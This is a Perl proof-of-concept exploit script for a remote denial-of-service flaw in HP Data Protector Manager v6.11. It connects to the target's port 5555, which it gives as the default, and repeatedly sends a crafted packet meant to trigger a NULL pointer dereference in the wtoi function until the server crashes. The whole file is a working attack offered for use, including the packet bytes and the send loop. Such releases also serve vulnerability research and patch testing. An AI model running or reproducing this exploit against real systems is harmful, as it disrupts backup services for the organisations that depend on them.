#!/usr/bin/perl

# ===============================
# HP Data Protector Manager v6.11
# ===============================
#
# Bug: NULL Pointer Dereference Remote Denial of Service Vulnerabilities
#
# Software: http://www.hp.com
# Date: 06/10/2010
# Author: Pepelux - pepelux[AT]enye-sec[DOT]com
#                   http://www.enye-sec.org - http://www.pepelux.org
#
# Vulnerable file: Program Files\OmniBack\bin\MSVCR71.dll
# Vulnerable function: wtoi
#
# Tested on Windows XP SP2 & Windows XP SP3

use IO::Socket;

my ($server, $port) = @ARGV ;

unless($ARGV[0] || $ARGV[1]) {
	print "Usage: perl $0 <host> [port]\n";
	print "\tdefault port = 5555\n\n";
	exit 1;
}

$port = 5555 if ($ARGV[0]);

if ($^O =~ /Win/) {system("cls");}else{system("clear");}

my $buf = "\x00\x00\x00\x41\xff\xfe\x32\x00\x00\x00\x20\x00\x41\x00\x41\x00".
			 "\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00".
			 "\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00".
			 "\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00".
			 "\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\xff\xff\x20\x00\x31\x00".
			 "\x35\x00\x00\x00\x00\x00";

print "[+] Connecting to $server:$port ...\n";

my $sock1 = new IO::Socket::INET (PeerAddr => $server, PeerPort => $port, Timeout => '10', Proto => 'tcp') or die("Server $server is not available.\n");

print "[+] Sending malicious packet ...\n";

my $crashed = 0;

while($crashed eq 0) {
	print $sock1 "$buf" or $crashed = 1;
}

print "\n[x] Server crashed!\n"; 
exit;

